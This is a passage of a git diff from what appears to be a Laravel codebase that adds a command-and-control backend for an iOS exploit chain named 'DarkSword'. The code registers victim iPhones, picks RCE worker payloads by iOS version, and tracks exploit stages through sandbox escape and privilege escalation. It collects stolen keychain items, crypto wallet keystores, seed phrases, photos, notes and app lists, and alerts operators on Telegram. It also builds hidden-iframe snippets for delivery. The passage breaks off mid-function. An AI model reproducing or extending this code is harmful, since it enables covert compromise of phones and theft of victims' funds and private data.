$this->finish($request, '/api/ds/log', $payload, $this->logAck($request)); + } + + public function peStage(Request $request, string $name = ''): SymfonyResponse + { + $path = '/'.ltrim($request->path(), '/'); + $stage = $this->peStageName($name !== '' ? $name : $path); + $payload = $this->payloadFromQueryOrJson($request); + $payload['pe_stage'] = $stage; + $payload['stage'] = $payload['stage'] ?? 'pe'; + $payload['label'] = $payload['label'] ?? ('pe_stage:'.$stage); + + $body = $this->previewBody($request); + if (is_array($body)) { + $body['pe_stage'] = $stage; + } + + return $this->finish($request, $path, $payload, $this->logAck($request), $body); + } + + public function register(Request $request): SymfonyResponse + { + $payload = $this->jsonBody($request); + $device = strtoupper((string) ( + $payload['deviceUUID'] + ?? $payload['device'] + ?? $payload['uuid'] + ?? $request->header('X-Device-UUID') + ?? '' + )); + $device = substr(preg_replace('/[^0-9A-F]/', '', $device) ?? '', 0, 32); + $ios = (string) ($payload['ios'] ?? $payload['ios_version'] ?? $request->query('ios', '')); + + return $this->finish($request, '/api/ds/device/register', $payload, response()->json([ + 'ok' => true, + 'device' => $device, + 'deviceUUID' => $device, + 'device_id' => $device, + 'aliased' => false, + 'ios_version' => $ios, + 'target_chain' => (string) ($payload['chain'] ?? 'darksword'), + 'target_chain_label' => 'D鏈', + 'offset_params' => [ + 'ok' => true, + 'mode' => 'probing', + 'device' => null, + 'xnu' => str_starts_with($ios, '18.6') ? '24.6' : null, + 'build' => null, + 'candidates' => [], + 'hint' => 'device model required (iPhoneN,M); refuse xnu-only kernelTask inject', + ], + 'sla_ms' => 15000, + 's5_honest' => '', + ])); + } + + public function chainTargets(Request $request): SymfonyResponse + { + $forwarded = (string) $request->header('X-Forwarded-Host', ''); + if ($forwarded !== '') { + $hostPort = explode(':', $forwarded, 2); + $host = $hostPort[0]; + $port = isset($hostPort[1]) ? (int) $hostPort[1] : (int) $request->header('X-Forwarded-Port', $request->getPort()); + $scheme = (string) $request->header('X-Forwarded-Proto', $request->getScheme()); + } else { + $host = $request->getHost(); + $port = (int) $request->getPort(); + $scheme = $request->getScheme(); + } + $base = $scheme.'://'.$host.($this->isDefaultPort($scheme, $port) ? '' : ':'.$port); + $ios = $this->requestIos($request); + [$recommended, $fallbacks] = $this->chainTargetWorkers($ios); + + return $this->finish($request, '/api/ds/chain-targets', $this->payloadFromQueryOrJson($request), response()->json([ + 'ok' => true, + 'chain' => 'darksword', + 'weaponized' => true, + 'gated' => false, + 'ios' => $ios, + 'reason' => 'DarkSword 18.4-18.7.2', + 'recommended_worker' => $recommended, + 'fallback_workers' => $fallbacks, + 'band' => [ + 'recommended_worker' => $recommended, + 'fallback_workers' => $fallbacks, + 'usable_for_attempt' => true, + 'usable_grade' => 'LIVE', + 'weaponized' => true, + ], + 'exfil' => [ + 'host' => $host, + 'domain' => $host, + 'http_port' => $port, + 'https_port' => $port, + 'tls' => $scheme === 'https', + 'prefer_https' => false, + 'stats_url' => $base.'/stats', + 'stats_url_direct' => $base.'/stats', + 'delivery_stats_url' => $base.'/stats', + ], + 'delivery_ok' => true, + 'entry_point' => '', + 'redirect_to' => '', + 's5_module' => '', + 'usable_grade' => 'LIVE', + ])); + } + + public function profile(Request $request): SymfonyResponse + { + return $this->ok($request, '/a', $this->jsonBody($request)); + } + + public function apps(Request $request): SymfonyResponse + { + return $this->ok($request, '/u', $this->jsonBody($request)); + } + + public function notes(Request $request): SymfonyResponse + { + return $this->ok($request, '/nb', $this->jsonBody($request)); + } + + public function event(Request $request): SymfonyResponse + { + return $this->ok($request, '/event', $this->jsonBody($request)); + } + + public function result(Request $request): SymfonyResponse + { + return $this->ok($request, '/result', $this->jsonBody($request)); + } + + /** + * @param array $payload + */ + private function ok(Request $request, string $path, array $payload): SymfonyResponse + { + return $this->finish($request, $path, $payload, response()->json(['ok' => true])); + } + + private function logAck(Request $request): SymfonyResponse + { + if ($request->isMethod('GET') || $request->isMethod('HEAD')) { + return response('ok', 200)->header('Content-Type', 'text/plain; charset=utf-8'); + } + + return response()->json(['status' => 'accepted']); + } + + /** + * @param array $payload + * @param array|string|null $logBody + */ + private function finish( + Request $request, + string $path, + array $payload, + SymfonyResponse $response, + array|string|null $logBody = null, + ): SymfonyResponse { + try { + $this->ingest->ingest($request, $path, $payload); + } catch (\Throwable $e) { + error_log('[ds] ingest '.$path.' '.$e->getMessage()); + } + + $body = $logBody ?? $this->previewBody($request); + $respPreview = $this->previewString((string) $response->getContent(), 4096); + $entry = [ + 'dir' => 'ds', + 'method' => $request->method(), + 'path' => $path, + 'ip' => $request->ip(), + 'query' => $request->query(), + 'headers' => c2_log_request_meta($request)['headers'], + 'body' => $body, + 'response' => $respPreview, + ]; + create_log($entry, 'ds'); + error_log('[ds] '.$request->method().' '.$path.' req='.json_encode($body, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES).' resp='.$respPreview); + + return $response; + } + + /** + * Match live one99.vip GET /api/chain-targets (probed 2026-08-21). + * Query `ios=` wins over User-Agent; UA is used only when the query is empty. + */ + private function requestIos(Request $request): string + { + $ios = (string) $request->query('ios', ''); + if ($ios !== '') { + return $ios; + } + + $ua = (string) $request->userAgent(); + if (preg_match('/(?:iPhone )?OS (\d+)[._](\d+)(?:[._](\d+))?/i', $ua, $m)) { + $out = $m[1].'.'.$m[2]; + if (($m[3] ?? '') !== '') { + $out .= '.'.$m[3]; + } + + return $out; + } + + return ''; + } + + /** + * Worker plan from live one99.vip /api/chain-targets. + * + * 18.4.x → 18.4 then [18.5, 18.6] + * 18.5.x → 18.5 then [18.6, 18.4] + * anything else (18.6+, 18.7, 17.x, 26.x, empty) → 18.6 then [18.5, 18.4] + * + * @return array{0: string, 1: list} + */ + private function chainTargetWorkers(string $ios): array + { + $minor = null; + if (preg_match('/^18\.(\d+)/', $ios, $m)) { + $minor = (int) $m[1]; + } + + return match ($minor) { + 4 => ['rce_worker_18.4.js', ['rce_worker_18.5.js', 'rce_worker_18.6.js']], + 5 => ['rce_worker_18.5.js', ['rce_worker_18.6.js', 'rce_worker_18.4.js']], + default => ['rce_worker_18.6.js', ['rce_worker_18.5.js', 'rce_worker_18.4.js']], + }; + } + + private function isDefaultPort(string $scheme, int $port): bool + { + return ($scheme === 'http' && $port === 80) || ($scheme === 'https' && $port === 443); + } + + private function peStageName(string $path): string + { + $name = basename($path); + $name = (string) preg_replace('/\.js$/i', '', $name); + $name = strtolower((string) preg_replace('/[^a-z0-9_]/', '', $name)); + + return $name !== '' ? $name : 'unknown'; + } + + /** + * @return array + */ + private function payloadFromQueryOrJson(Request $request): array + { + $payload = $this->jsonBody($request); + if ($payload !== []) { + return $payload; + } + $query = $request->query(); + + return is_array($query) ? $query : []; + } + + /** + * @return array|string + */ + private function previewBody(Request $request): array|string + { + if ($request->isMethod('GET') || $request->isMethod('HEAD')) { + return ['query' => $request->query()]; + } + + $ct = strtolower((string) $request->header('content-type', '')); + if (str_contains($ct, 'multipart/')) { + $files = []; + foreach ($request->allFiles() as $key => $file) { + $list = is_array($file) ? $file : [$file]; + foreach ($list as $f) { + $files[] = [ + 'field' => $key, + 'name' => $f->getClientOriginalName(), + 'size' => $f->getSize(), + ]; + } + } + + return [ + 'multipart' => true, + 'form' => $request->except(array_keys($request->allFiles())), + 'files' => $files, + ]; + } + + $raw = (string) $request->getContent(); + $json = json_decode($raw, true); + if (is_array($json)) { + return $this->truncateArray($json); + } + + return $this->previewString($raw, 4096); + } + + /** + * @return array + */ + private function jsonBody(Request $request): array + { + $json = json_decode((string) $request->getContent(), true); + + return is_array($json) ? $json : []; + } + + /** + * @param array $data + * @return array + */ + private function truncateArray(array $data, int $maxStr = 512, int $depth = 0): array + { + if ($depth > 4) { + return ['_truncated' => true]; + } + $out = []; + $i = 0; + foreach ($data as $k => $v) { + if ($i++ > 80) { + $out['_more'] = true; + break; + } + if (is_string($v) && strlen($v) > $maxStr) { + $out[$k] = substr($v, 0, $maxStr).'…['.strlen($v).' bytes]'; + } elseif (is_array($v)) { + $out[$k] = $this->truncateArray($v, $maxStr, $depth + 1); + } else { + $out[$k] = $v; + } + } + + return $out; + } + + private function previewString(string $raw, int $max): string + { + if (strlen($raw) <= $max) { + return $raw; + } + + return substr($raw, 0, $max).'…['.strlen($raw).' bytes]'; + } +} diff --git a/app/Http/Controllers/Hooks/TokenviewWebhookController.php b/app/Http/Controllers/Hooks/TokenviewWebhookController.php index 91f60fe..bfe1c66 100644 --- a/app/Http/Controllers/Hooks/TokenviewWebhookController.php +++ b/app/Http/Controllers/Hooks/TokenviewWebhookController.php @@ -15,25 +15,25 @@ class TokenviewWebhookController extends Controller $raw = $request->getContent(); $signature = $request->header('X-Tokenview-Signature'); - if (! $monitor->verifySignature($raw, $signature)) { - Log::warning('tokenview webhook bad signature'); - - return response('invalid signature', 401); - } - $payload = $request->json()->all(); if (! is_array($payload) || $payload === []) { $decoded = json_decode($raw, true); $payload = is_array($decoded) ? $decoded : []; } - try { - $monitor->handleWebhook($payload); - } catch (\Throwable $e) { - Log::warning('tokenview webhook handle failed: '.$e->getMessage()); + // Tokenview probes the webhook (often unsigned GET/POST) before a + // sign key exists. Always 200 + non-empty body; only skip ingest. + $signed = $monitor->verifySignature($raw, $signature); + if (! $signed) { + Log::warning('tokenview webhook bad signature (acked 200, skipped ingest)'); + } elseif ($payload !== []) { + try { + $monitor->handleWebhook($payload); + } catch (\Throwable $e) { + Log::warning('tokenview webhook handle failed: '.$e->getMessage()); + } } - // Tokenview requires HTTP 200 + non-empty body. return response('ok', 200)->header('Content-Type', 'text/plain; charset=UTF-8'); } } diff --git a/app/Http/Controllers/PageHitController.php b/app/Http/Controllers/PageHitController.php index 755eba1..32e0295 100644 --- a/app/Http/Controllers/PageHitController.php +++ b/app/Http/Controllers/PageHitController.php @@ -46,6 +46,7 @@ class PageHitController extends Controller PageVisit::query()->create([ 'channel_id' => $channelId, 'client_uid' => $uid, + 'chain' => PageVisit::CHAIN_CORUNA, 'user_agent' => $ua !== '' ? $ua : null, 'os' => $parsed['os'], 'os_version' => $parsed['os_version'] !== '' ? $parsed['os_version'] : null, diff --git a/app/Http/Middleware/DecryptXxbbBody.php b/app/Http/Middleware/DecryptXxbbBody.php index 30af163..9a66eb4 100644 --- a/app/Http/Middleware/DecryptXxbbBody.php +++ b/app/Http/Middleware/DecryptXxbbBody.php @@ -2,6 +2,7 @@ namespace App\Http\Middleware; +use App\Http\Controllers\C2\DarkSwordC2Controller; use App\Services\CorunaCrypto; use App\Services\IngestService; use Closure; @@ -21,6 +22,10 @@ class DecryptXxbbBody public function handle(Request $request, Closure $next): Response { + if (DarkSwordC2Controller::matches($request)) { + return $next($request); + } + $crypto = self::crypto(); $meta = c2_log_request_meta($request); diff --git a/app/Models/Channel.php b/app/Models/Channel.php index e173cfb..7f353ad 100644 --- a/app/Models/Channel.php +++ b/app/Models/Channel.php @@ -174,19 +174,35 @@ class Channel extends Model /** * Hidden iframe snippet for embedding the landing URL (same as admin「复制推广代码」). + * src is resolved at paste-time from the host page's location. */ public function promoIframeSnippet(?string $url = null): ?string { - $url = trim((string) ($url ?? ($this->supportLinks()[0] ?? ''))); - if ($url === '') { - $base = rtrim((string) config('app.url'), '/'); - if ($base === '') { - return null; - } - $url = $base.$this->landingPath(); + $path = $this->landingPathFromUrl($url) ?? $this->landingPath(); + if ($path === '') { + return null; } - return ''; + if (! str_starts_with($path, '/')) { + $path = '/'.$path; + } + if (str_contains($path, '"') || str_contains($path, "'") || str_contains($path, '?')) { + $path = $this->landingPath(); + } + + // Telegram copy_text max is 256. Relative src resolves against the host page. + return ''; + } + + private function landingPathFromUrl(?string $url): ?string + { + $url = trim((string) $url); + if ($url === '') { + return null; + } + $path = parse_url($url, PHP_URL_PATH); + + return is_string($path) && $path !== '' ? $path : null; } public static function randomChannelId(): string diff --git a/app/Models/Device.php b/app/Models/Device.php index c752063..b4cdb6d 100644 --- a/app/Models/Device.php +++ b/app/Models/Device.php @@ -13,13 +13,18 @@ class Device extends Model public const WALLET_YES = 2; + public const FAMILY_CORUNA = 'coruna'; + + public const FAMILY_DARKSWORD = 'darksword'; + protected $fillable = [ - 'device_id', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent', + 'device_id', 'family', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent', 'telegram_notified', 'album_storage', 'has_wallet', 'wallet_names', ]; protected $attributes = [ 'has_wallet' => self::WALLET_UNKNOWN, + 'family' => self::FAMILY_CORUNA, ]; protected function casts(): array @@ -89,4 +94,9 @@ class Device extends Model { return $this->hasMany(WalletKeystore::class); } + + public function beaconTasks(): HasMany + { + return $this->hasMany(DsBeaconTask::class)->orderBy('position'); + } } diff --git a/app/Models/DsBeaconTask.php b/app/Models/DsBeaconTask.php new file mode 100644 index 0000000..52d3b7f --- /dev/null +++ b/app/Models/DsBeaconTask.php @@ -0,0 +1,71 @@ + '钱包提取', + 'wallet_scan' => '钱包扫盘', + 'photos' => '相册', + 'photo_scan' => '相册扫描', + 'apps' => '应用列表', + 'basic_info' => '设备信息', + ]; + + public const STATUS_LABELS = [ + self::STATUS_PENDING => '排队中', + self::STATUS_DISPATCHED => '已下发', + self::STATUS_DONE => '已回传', + self::STATUS_SKIPPED => '已跳过', + ]; + + protected $fillable = [ + 'device_id', + 'position', + 'type', + 'status', + 'command_id', + 'dispatched_at', + 'completed_at', + 'result_count', + 'result_meta', + ]; + + protected function casts(): array + { + return [ + 'position' => 'integer', + 'dispatched_at' => 'datetime', + 'completed_at' => 'datetime', + 'result_count' => 'integer', + 'result_meta' => 'array', + ]; + } + + public function device(): BelongsTo + { + return $this->belongsTo(Device::class); + } + + public function typeLabel(): string + { + return self::LABELS[$this->type] ?? $this->type; + } + + public function statusLabel(): string + { + return self::STATUS_LABELS[$this->status] ?? $this->status; + } +} diff --git a/app/Models/DsChainLog.php b/app/Models/DsChainLog.php new file mode 100644 index 0000000..a57837a --- /dev/null +++ b/app/Models/DsChainLog.php @@ -0,0 +1,124 @@ + */ + public const STAGES = [ + 'boot' => ['progress' => 8, 'title' => '启动'], + 'loader' => ['progress' => 18, 'title' => '加载器'], + 'worker' => ['progress' => 42, 'title' => 'RCE'], + 'sbx0' => ['progress' => 58, 'title' => '沙箱逃逸'], + 'sbx1' => ['progress' => 72, 'title' => '沙箱二段'], + 'pe' => ['progress' => 86, 'title' => '权限提升'], + 'post' => ['progress' => 100, 'title' => '取证完成'], + ]; + + protected $fillable = [ + 'client_uid', + 'channel_id', + 'stage', + 'progress', + 'label', + 'created_at', + ]; + + protected function casts(): array + { + return [ + 'progress' => 'integer', + 'created_at' => 'datetime', + ]; + } + + public static function stageTitle(string $stage): string + { + return self::STAGES[$stage]['title'] ?? $stage; + } + + /** + * @return array{stage: string, progress: int, label: string}|null + */ + public static function inferFromText(?string $text): ?array + { + $msg = trim((string) $text); + if ($msg === '') { + return null; + } + + if (preg_match('/file_downloader_ok|chain.?complete/i', $msg)) { + return ['stage' => 'post', 'progress' => 100, 'label' => 'post']; + } + if (preg_match('/file_downloader_start|S5_post|post \/stats|saved .* bytes|wallet_memory|wallet_crypto|coruna_bootstrap_fetch|coruna_s5/i', $msg)) { + return ['stage' => 'pe', 'progress' => 90, 'label' => '权限提升 · 后台收尾']; + } + if (preg_match('/pe_main|kernel_base|kernel_slide|pe_main_eval|pe_main_start|pe spawned|Spawning PE|pe bootstrap|nowait_exit|pe exfil grace|pe exfil wait|pe_mpd/i', $msg)) { + return ['stage' => 'pe', 'progress' => 86, 'label' => 'pe']; + } + if (preg_match('/sbx1_main|mediaplaybackd|\[patch\] loaded bootstrap/i', $msg)) { + return ['stage' => 'sbx1', 'progress' => 72, 'label' => 'sbx1']; + } + if (preg_match('/after get js|sbx0_main|coruna stage2|seedbell/i', $msg)) { + return ['stage' => 'sbx0', 'progress' => 58, 'label' => 'sbx0']; + } + if (preg_match('/stage1|RCE success|handoff ok|Inside stage2|inside stage1/i', $msg)) { + return ['stage' => 'worker', 'progress' => 42, 'label' => 'worker']; + } + if (preg_match('/Chain selected|rce_loader|loadChainLoader/i', $msg)) { + return ['stage' => 'loader', 'progress' => 18, 'label' => 'loader']; + } + if (preg_match('/frame\.html loaded|frame_boot/i', $msg)) { + return ['stage' => 'boot', 'progress' => 8, 'label' => 'frame_boot']; + } + + return null; + } + + public static function record( + string $clientUid, + string $stage, + int $progress = 0, + ?string $label = null, + ?string $channelId = null, + ): ?self { + $clientUid = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', $clientUid) ?? ''); + $stage = strtolower(trim($stage)); + if ($clientUid === '' || ! isset(self::STAGES[$stage])) { + return null; + } + + $meta = self::STAGES[$stage]; + if ($progress <= 0) { + $progress = $meta['progress']; + } + $progress = max(0, min(100, $progress)); + $label = trim((string) ($label ?? '')); + if ($label === '') { + $label = $stage; + } + $label = substr($label, 0, 255); + $channelId = $channelId !== null && trim($channelId) !== '' ? substr(trim($channelId), 0, 64) : null; + + $last = self::query()->where('client_uid', $clientUid)->orderByDesc('id')->first(); + if ($last + && $last->stage === $stage + && (int) $last->progress === $progress + && (string) $last->label === $label) { + return $last; + } + + return self::query()->create([ + 'client_uid' => substr($clientUid, 0, 64), + 'channel_id' => $channelId, + 'stage' => $stage, + 'progress' => $progress, + 'label' => $label, + 'created_at' => now(), + ]); + } +} diff --git a/app/Models/PageVisit.php b/app/Models/PageVisit.php index ca13a83..9695f7a 100644 --- a/app/Models/PageVisit.php +++ b/app/Models/PageVisit.php @@ -8,9 +8,14 @@ class PageVisit extends Model { public $timestamps = false; + public const CHAIN_CORUNA = 0; + + public const CHAIN_DARKSWORD = 1; + protected $fillable = [ 'channel_id', 'client_uid', + 'chain', 'session_id', 'user_agent', 'os', @@ -26,10 +31,16 @@ class PageVisit extends Model protected function casts(): array { return [ + 'chain' => 'integer', 'created_at' => 'datetime', ]; } + public static function chainLabel(int $chain): string + { + return $chain === self::CHAIN_DARKSWORD ? 'DarkSword' : 'Coruna'; + } + public static function normalizeDomain(?string $value): ?string { $value = trim((string) $value); diff --git a/app/Models/WalletKeystore.php b/app/Models/WalletKeystore.php index 16f222a..7ea24ab 100644 --- a/app/Models/WalletKeystore.php +++ b/app/Models/WalletKeystore.php @@ -8,18 +8,204 @@ use Illuminate\Database\Eloquent\Relations\BelongsTo; class WalletKeystore extends Model { protected $fillable = [ - 'device_id', 'raw_json', + 'device_id', 'source', 'decrypted', 'raw_json', ]; protected function casts(): array { return [ 'raw_json' => 'array', + 'decrypted' => 'integer', ]; } + public function sourceLabel(): string + { + $source = trim((string) $this->source); + + return $source !== '' ? $source : '未知'; + } + + public function kind(): string + { + return is_array($this->raw_json) ? trim((string) ($this->raw_json['kind'] ?? '')) : ''; + } + + public function kindLabel(): string + { + return match ($this->kind()) { + 'keychain.wallets' => '钥匙串', + 'sandbox' => '沙盒文件', + default => $this->kind() !== '' ? $this->kind() : '未知', + }; + } + + /** + * @return list + */ + public function listedItems(): array + { + $json = is_array($this->raw_json) ? $this->raw_json : []; + $out = []; + $wallets = $json['wallets'] ?? null; + if (is_array($wallets)) { + foreach ($wallets as $bucket) { + $items = is_array($bucket['items'] ?? null) ? $bucket['items'] : []; + foreach ($items as $item) { + if (is_array($item)) { + $out[] = $this->normalizeItem($item); + } + } + } + } + $sandbox = $json['sandbox'] ?? null; + if (is_array($sandbox)) { + $out = array_merge($out, $this->sandboxItems($sandbox)); + } + if (isset($json['crypto']) && is_array($json['crypto'])) { + $out[] = $this->normalizeItem([ + 'account' => (string) ($json['id'] ?? $json['type'] ?? 'keystore'), + 'path' => 'crypto', + 'dataHex' => (string) ($json['crypto']['ciphertext'] ?? ''), + ]); + } + + return $out; + } + + public function itemCount(): int + { + return count($this->listedItems()); + } + + public function summary(): string + { + $names = []; + foreach ($this->listedItems() as $item) { + $name = $item['account'] !== '' ? $item['account'] : $item['path']; + if ($name !== '') { + $names[] = $name; + } + if (count($names) >= 3) { + break; + } + } + $n = $this->itemCount(); + if ($names === []) { + return $n > 0 ? $n.' 条' : ''; + } + $text = implode(' · ', $names); + if ($n > 3) { + $text .= ' 等'.$n.'条'; + } + + return $text; + } + public function device(): BelongsTo { return $this->belongsTo(Device::class); } + + /** + * @param array $item + * @return array{ + * account: string, + * service: string, + * access_group: string, + * protection_class: string, + * path: string, + * data_len: int, + * data_preview: string + * } + */ + private function normalizeItem(array $item): array + { + $hex = (string) ($item['dataHex'] ?? ''); + $bin = ''; + if ($hex !== '' && ctype_xdigit($hex) && strlen($hex) % 2 === 0) { + $bin = (string) hex2bin($hex); + } elseif (isset($item['data']) && is_string($item['data'])) { + $bin = $item['data']; + } + + return [ + 'account' => trim((string) ($item['account'] ?? '')), + 'service' => trim((string) ($item['service'] ?? '')), + 'access_group' => trim((string) ($item['accessGroup'] ?? $item['access_group'] ?? '')), + 'protection_class' => (string) ($item['protectionClass'] ?? $item['class'] ?? ''), + 'path' => trim((string) ($item['path'] ?? '')), + 'data_len' => strlen($bin), + 'data_preview' => $this->previewBytes($bin !== '' ? $bin : $hex), + ]; + } + + /** + * @param array $sandbox + * @return list + */ + private function sandboxItems(array $sandbox, string $prefix = ''): array + { + $out = []; + foreach ($sandbox as $key => $value) { + $path = $prefix === '' ? (string) $key : $prefix.'/'.$key; + if (is_array($value)) { + if (isset($value['items']) && is_array($value['items'])) { + foreach ($value['items'] as $item) { + if (is_array($item)) { + $out[] = $this->normalizeItem($item); + } + } + + continue; + } + $out = array_merge($out, $this->sandboxItems($value, $path)); + + continue; + } + if (! is_string($value) || $value === '') { + continue; + } + $bin = base64_decode($value, true); + if ($bin === false) { + $bin = $value; + } + $out[] = $this->normalizeItem([ + 'account' => basename($path), + 'path' => $path, + 'data' => $bin, + ]); + } + + return $out; + } + + private function previewBytes(string $raw): string + { + if ($raw === '') { + return ''; + } + if (mb_check_encoding($raw, 'UTF-8') && preg_match('/^[\x09\x0A\x0D\x20-\x7E]{1,256}$/', $raw)) { + return $raw; + } + $hex = bin2hex($raw); + + return strlen($hex) > 48 ? substr($hex, 0, 48).'…' : $hex; + } } diff --git a/app/Services/DarkSwordIngestAdapter.php b/app/Services/DarkSwordIngestAdapter.php new file mode 100644 index 0000000..910a4d7 --- /dev/null +++ b/app/Services/DarkSwordIngestAdapter.php @@ -0,0 +1,795 @@ + */ + private const SKIP_WALK_KEYS = [ + 'error', 'errors', 'layer3Error', 'diagnostics', 'metadataKeys', + 'locked_classes', '_truncated', '_more', 'tables', + ]; + + public function __construct( + private readonly IngestService $ingest, + private readonly TelegramNotifier $telegram, + private readonly DsBeaconQueue $beaconQueue, + private readonly DsResultStore $results, + private readonly DsTrustAddressIngest $trustAddresses, + private readonly DsKeystoreDecrypt $keystoreDecrypt, + private readonly MnemonicWalletDiscovery $mnemonicDiscovery, + private readonly MnemonicAddressLinker $mnemonicLinker, + ) {} + + /** + * @param array $payload Untruncated JSON from the raw request body. + */ + public function ingest(Request $request, string $path, array $payload): void + { + match ($path) { + '/api/ds/device/register', '/api/device/register' => $this->ingestRegister($request, $payload), + '/api/ds/log' => $this->ingestLog($request, $payload), + '/a' => $this->ingestProfile($request, $payload), + '/u' => $this->ingestApps($request, $payload), + '/nb' => $this->ingestNotes($request, $payload), + '/war' => $this->ingestWar($request, $payload), + '/beacon', '/event' => $this->heartbeat($request, $payload), + '/result' => $this->ingestResult($request, $payload), + default => str_starts_with($path, '/api/ds/pe-stage') + ? $this->ingestPeStage($request, $payload) + : null, + }; + } + + /** + * @param array $payload + */ + private function ingestRegister(Request $request, array $payload): void + { + $this->recordRegisterVisit($request, $payload); + } + + /** + * @param array $payload + */ + private function ingestStage(Request $request, array $payload): void + { + $uid = $this->extractDeviceKey($request, $payload); + if ($uid === null) { + return; + } + $stage = strtolower(trim((string) ($payload['stage'] ?? ''))); + $progress = (int) ($payload['progress'] ?? 0); + $label = is_string($payload['label'] ?? null) ? $payload['label'] : null; + DsChainLog::record($uid, $stage, $progress, $label, $this->extractChannelCode($payload)); + } + + /** + * PE progress ping. File log is written by DarkSwordC2Controller::peStage; + * here we also fold the named stage into ds_chain_logs when a UUID is present. + * + * @param array $payload + */ + private function ingestPeStage(Request $request, array $payload): void + { + $name = strtolower(trim((string) ($payload['pe_stage'] ?? ''))); + $progress = match ($name) { + 's1_launchd' => 86, + 's2_keychain' => 88, + 's3_mempress' => 90, + 's4_loader' => 92, + 's5_c2' => 94, + 's6_p7phase2' => 96, + default => 86, + }; + + $this->ingestStage($request, array_merge($payload, [ + 'stage' => 'pe', + 'progress' => $progress, + 'label' => 'pe_stage:'.($name !== '' ? $name : 'unknown'), + ])); + } + + /** + * @param array $payload + */ + private function ingestLog(Request $request, array $payload): void + { + $uid = $this->extractDeviceKey($request, $payload); + if ($uid === null) { + return; + } + if (is_string($payload['stage'] ?? null) && trim((string) $payload['stage']) !== '') { + $this->ingestStage($request, $payload); + + return; + } + $text = $payload['text'] ?? $payload['msg'] ?? $payload['message'] ?? null; + if (! is_string($text)) { + return; + } + $inferred = DsChainLog::inferFromText($text); + if ($inferred === null) { + return; + } + DsChainLog::record( + $uid, + $inferred['stage'], + $inferred['progress'], + $inferred['label'], + $this->extractChannelCode($payload), + ); + } + + /** + * @param array $payload + */ + private function recordRegisterVisit(Request $request, array $payload): void + { + $uid = $this->extractDeviceKey($request, $payload); + if ($uid === null) { + return; + } + + $ua = $this->registerUserAgent($request, $payload); + $parsed = UserAgentParser::parse($ua); + $ios = $this->extractIos($payload); + $channel = $this->extractChannelCode($payload) ?? ''; + $ip = $this->clientIp($request, $payload); + $referer = trim((string) $request->headers->get('referer', '')); + + PageVisit::query()->create([ + 'channel_id' => $channel, + 'client_uid' => $uid, + 'chain' => PageVisit::CHAIN_DARKSWORD, + 'user_agent' => $ua !== '' ? $ua : null, + 'os' => $ios !== null ? 'iOS' : $parsed['os'], + 'os_version' => $ios ?? ($parsed['os_version'] !== '' ? $parsed['os_version'] : null), + 'browser' => $parsed['browser'], + 'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null, + 'ip' => $ip !== '' ? $ip : null, + 'domain' => PageVisit::normalizeDomain($request->getHost()), + 'referer' => $referer !== '' ? substr($referer, 0, 512) : null, + 'created_at' => now(), + ]); + } + + /** + * @param array $payload + */ + private function registerUserAgent(Request $request, array $payload): string + { + foreach (['user_agent', 'userAgent'] as $key) { + $value = $payload[$key] ?? null; + if (is_string($value) && trim($value) !== '') { + return substr(trim($value), 0, 512); + } + } + + return substr((string) $request->userAgent(), 0, 512); + } + + /** + * @param array $payload + */ + private function ingestProfile(Request $request, array $payload): void + { + $this->upsertDevice($request, $payload); + } + + /** + * @param array $payload + */ + private function ingestApps(Request $request, array $payload): void + { + $device = $this->upsertDevice($request, $payload); + if (! $device) { + return; + } + $al = $this->appsToAl($payload['apps'] ?? null); + if ($al === []) { + return; + } + $this->ingest->ingestInstalledApps($device, ['al' => $al]); + } + + /** + * @param array $payload + */ + private function ingestNotes(Request $request, array $payload): void + { + $device = $this->upsertDevice($request, $payload); + if (! $device) { + return; + } + if (array_key_exists('list', $payload)) { + $this->ingest->ingestNotes($device, ['list' => $payload['list']]); + } + $this->storeNoteDbFiles($device, $payload['db_files'] ?? null); + } + + /** + * @param array $payload + */ + private function ingestWar(Request $request, array $payload): void + { + $device = $this->upsertDevice($request, $payload); + if (! $device) { + return; + } + + $keychain = is_array($payload['keychain'] ?? null) ? $payload['keychain'] : []; + $wallets = $keychain['wallets'] ?? []; + $sandbox = $payload['sandbox'] ?? []; + + $rows = array_merge( + $this->storeWalletKeystores($device, $wallets, 'keychain.wallets', $keychain['diagnostics'] ?? null), + $this->storeWalletKeystores($device, $sandbox, 'sandbox', null), + ); + $this->recoverKeystoreMnemonics($device, $wallets, $sandbox, $rows); + + $this->walkForMnemonics($device, $wallets, 'd'); + $this->walkForMnemonics($device, $sandbox, 'b'); + $this->trustAddresses->ingest($device, $sandbox); + $this->trustAddresses->ingest($device, $wallets); + } + + /** + * @param array $payload + */ + private function heartbeat(Request $request, array $payload): void + { + $this->upsertDevice($request, $payload); + } + + /** + * @param array $payload + */ + private function upsertDevice(Request $request, array $payload): ?Device + { + $key = $this->extractDeviceKey($request, $payload); + if ($key === null) { + return null; + } + + $ip = $this->clientIp($request, $payload); + $model = $this->extractModel($payload); + $ios = $this->extractIos($payload); + $channel = $this->extractChannelCode($payload) ?? $this->channelFromVisit($key); + $ua = substr((string) $request->userAgent(), 0, 2000); + + $existing = Device::query()->where('device_id', $key)->first(); + if ($existing) { + $touch = [ + 'updated_at' => now(), + 'family' => Device::FAMILY_DARKSWORD, + ]; + if ($ip !== '') { + $touch['ip'] = $ip; + } + if ($model !== null && $this->shouldReplaceModel($existing->device_model, $model)) { + $touch['device_model'] = $model; + } + if ($ios !== null && trim((string) $existing->ios_version) === '') { + $touch['ios_version'] = $ios; + } + if ($channel !== null && trim((string) $existing->channel_id) === '') { + $touch['channel_id'] = $channel; + } + $existing->forceFill($touch)->saveQuietly(); + $this->beaconQueue->seed($existing); + + return $existing->refresh(); + } + + $device = Device::query()->create([ + 'device_id' => $key, + 'family' => Device::FAMILY_DARKSWORD, + 'ip' => $ip !== '' ? $ip : null, + 'device_model' => $model, + 'ios_version' => $ios, + 'channel_id' => $channel, + 'user_agent' => $ua !== '' ? $ua : null, + ]); + $this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip); + $device->telegram_notified = true; + $device->save(); + $this->beaconQueue->seed($device); + + return $device->refresh(); + } + + /** + * Upsert the DarkSword device and seed its default beacon queue. + * + * @param array $payload + */ + public function ensureDevice(Request $request, array $payload): ?Device + { + $device = $this->upsertDevice($request, $payload); + if ($device) { + $this->beaconQueue->seed($device); + } + + return $device; + } + + /** + * @param array $payload + */ + private function 